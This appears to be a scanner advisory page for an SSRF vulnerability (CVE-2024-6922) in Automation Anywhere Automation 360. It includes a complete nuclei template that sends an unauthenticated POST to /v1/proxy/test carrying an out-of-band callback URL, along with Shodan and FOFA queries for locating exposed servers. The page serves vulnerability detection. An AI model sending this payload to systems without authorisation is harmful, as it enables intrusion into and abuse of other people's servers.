Automation Anywhere Automation 360 - Server-Side Request Forgery

highseverity

30.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Automation Anywhere Automation 360 v21-v32 is vulnerable to Server-Side Request Forgery in a web API component.

Impact

An attacker with unauthenticated access to the Automation 360 Control Room HTTPS service (port 443) or HTTP service (port 80) can trigger arbitrary web requests from the server.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: POST /v1/proxy/test
Positive when: contains in interactsh_protocol "dns" AND contains "{\"message\":" AND contains in content_type "application/json" AND status 400

Run it with nuclei: nuclei -id CVE-2024-6922 -u <target>

The full check

id: CVE-2024-6922

info:
  name: Automation Anywhere Automation 360 - Server-Side Request Forgery
  author: DhiyaneshDK
  severity: high
  description: |
    Automation Anywhere Automation 360 v21-v32 is vulnerable to Server-Side Request Forgery in a web API component.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An attacker with unauthenticated access to the Automation 360 Control Room HTTPS service (port 443) or HTTP service (port 80) can trigger arbitrary web requests from the server.
  reference:
    - https://www.automationanywhere.com/products/automation-360
    - https://www.rapid7.com/blog/post/2024/07/26/cve-2024-6922-automation-anywhere-automation-360-server-side-request-forgery/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6922
  classification:
    epss-score: 0.30172
    epss-percentile: 0.98234
    cpe: cpe:2.3:a:automationanywhere:automation_360:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1005691603
    fofa-query: icon_hash="-1005691603"
    product: automation_360
    vendor: automationanywhere
  tags: cve,cve2024,ssrf,oast,automation,anywhere,vuln


http:
  - raw:
      - |
        POST /v1/proxy/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"saasUrl":"{{interactsh-url}}/?param=one#"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '{"message":'

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from